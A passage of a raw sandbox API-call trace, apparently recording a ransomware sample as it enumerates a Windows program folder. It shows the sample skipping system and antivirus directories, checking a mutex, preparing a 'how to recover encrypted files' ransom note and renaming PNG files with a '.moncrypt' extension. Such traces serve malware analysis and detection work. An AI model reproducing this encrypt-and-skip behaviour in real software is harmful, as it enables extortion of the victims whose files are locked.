| out: lpWideCharStr="reserv?T ") returned 6 [0057.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0057.996] GetLastError () returned 0x2 [0057.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.996] GlobalLock (hMem=0x440004) returned 0x550170 [0057.996] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.996] GlobalUnlock (hMem=0x440004) returned 0 [0057.996] GlobalLock (hMem=0x440004) returned 0x550170 [0057.996] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.996] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.996] GlobalUnlock (hMem=0x440004) returned 0 [0057.996] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.996] GlobalUnlock (hMem=0x44000c) returned 0 [0057.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.996] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.996] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.997] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.997] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.997] GlobalUnlock (hMem=0x44000c) returned 0 [0057.997] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.997] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.997] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.997] GlobalUnlock (hMem=0x44000c) returned 0 [0057.997] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.997] GlobalUnlock (hMem=0x440004) returned 0 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.998] GlobalLock (hMem=0x440004) returned 0x550170 [0057.998] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.998] GlobalUnlock (hMem=0x440004) returned 0 [0057.998] GlobalLock (hMem=0x440004) returned 0x550170 [0057.998] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.998] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.998] GlobalUnlock (hMem=0x440004) returned 0 [0057.998] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.998] GlobalUnlock (hMem=0x44000c) returned 0 [0057.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.999] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.999] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.999] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.999] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.999] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.999] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.999] GlobalUnlock (hMem=0x44000c) returned 0 [0057.999] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.999] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.999] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.999] GlobalUnlock (hMem=0x44000c) returned 0 [0057.999] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.999] GlobalUnlock (hMem=0x440004) returned 0 [0057.999] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.999] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0057.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.000] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\1047x576black.pngn", lpUsedDefaultChar=0x0) returned 4 [0058.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.001] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.001] CloseHandle (hObject=0x18c) returned 1 [0058.002] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\я")) returned 1 [0058.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.003] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.003] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.003] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.003] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.004] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.moncrypt")) returned 0 [0058.004] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.004] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.004] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.004] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.004] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.004] GlobalUnlock (hMem=0x440004) returned 0 [0058.004] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.004] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.004] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.004] GlobalUnlock (hMem=0x440004) returned 0 [0058.004] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.004] GlobalUnlock (hMem=0x44000c) returned 0 [0058.004] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.004] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0058.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", cchWideChar=63, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", lpUsedDefaultChar=0x0) returned 63 [0058.005] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0058.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD 